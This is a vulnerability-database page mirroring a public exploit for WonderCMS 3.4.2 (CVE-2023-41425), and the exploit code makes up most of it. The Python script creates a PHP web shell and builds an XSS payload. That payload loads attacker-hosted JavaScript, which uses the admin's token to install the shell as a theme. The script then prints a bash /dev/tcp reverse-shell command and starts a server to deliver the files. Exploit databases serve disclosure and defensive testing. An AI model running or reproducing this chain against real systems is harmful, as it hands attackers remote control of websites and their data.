Lucene search
+L

WonderCMS 3.4.2 - Remote Code Execution (RCE)

🗓️ 22 Apr 2025 00:00:00Reported by Milad karimiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 320 Views

Remote Code Execution vulnerability in WonderCMS 3.4.2 via malicious JavaScript file upload.

Related
Code
# Exploit Title: WonderCMS 3.4.2 - Remote Code Execution (RCE)
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2023-41425

import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored

def main():
    parser = argparse.ArgumentParser(description="Exploit Wonder CMS v3.4.2
XSS to RCE", formatter_class=RawTextHelpFormatter)
    parser.add_argument("--url", required=True, help="Target URL of
loginURL (Example: http://sea.htb/loginURL)")
    parser.add_argument("--xip", required=True, help="IP for HTTP web
server that hosts the malicious .js file")
    parser.add_argument("--xport", required=True, help="Port for HTTP web
server that hosts the malicious .js file")
    args = parser.parse_args()

    target_login_url = args.url
    target_split = args.url.split('/')
    target_url = target_split[0] + '//' + target_split[2]

    # Web Shell
    print("[+] Creating PHP Web Shell")
    if not os.path.exists('malicious'):
        os.mkdir('malicious')
        with open ('malicious/malicious.php', 'w') as f:
            f.write('<?php system($_GET["cmd"]); ?>')
        with zipfile.ZipFile('./malicious.zip', 'w') as z:
            z.write('malicious/malicious.php')
        os.remove('malicious/malicious.php')
        os.rmdir('malicious')
    else:
        print(colored("[!] Directory malicious already exists!", 'yellow'))

    # Malicious .js
    js = f'''var token =
document.querySelectorAll('[name="token"]')[0].value;
var module_url =
"{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token="
+ token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", module_url);
xhr.send();'''

    print("[+] Writing malicious.js")
    with open('malicious.js', 'w') as f:
        f.write(js)


    xss_payload = args.url.replace("loginURL",
"index.php?page=loginURL?")+"\"></form><script+src=\"http://
"+args.xip+":"+args.xport+"/malicious.js\"></script><form+action=\""
    print("[+] XSS Payload:")
    print(colored(f"{xss_payload}", 'red'))

    print("[+] Web Shell can be accessed once .zip file has been
requested:")

print(colored(f"{target_url}/themes/malicious/malicious.php?cmd=<COMMAND>",
'red'))
    print("[+] To get a reverse shell connection run the following:")
    print(colored(f"curl -s '{target_url}/themes/malicious/malicious.php'
--get --data-urlencode \"cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT>
0>&1'\" ", 'yellow'))

    print("[+] Starting HTTP server")
    subprocess.run(["python3", "-m", "http.server", "-b", args.xip,
args.xport])

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.16.1
EPSS0.54305
SSVC
320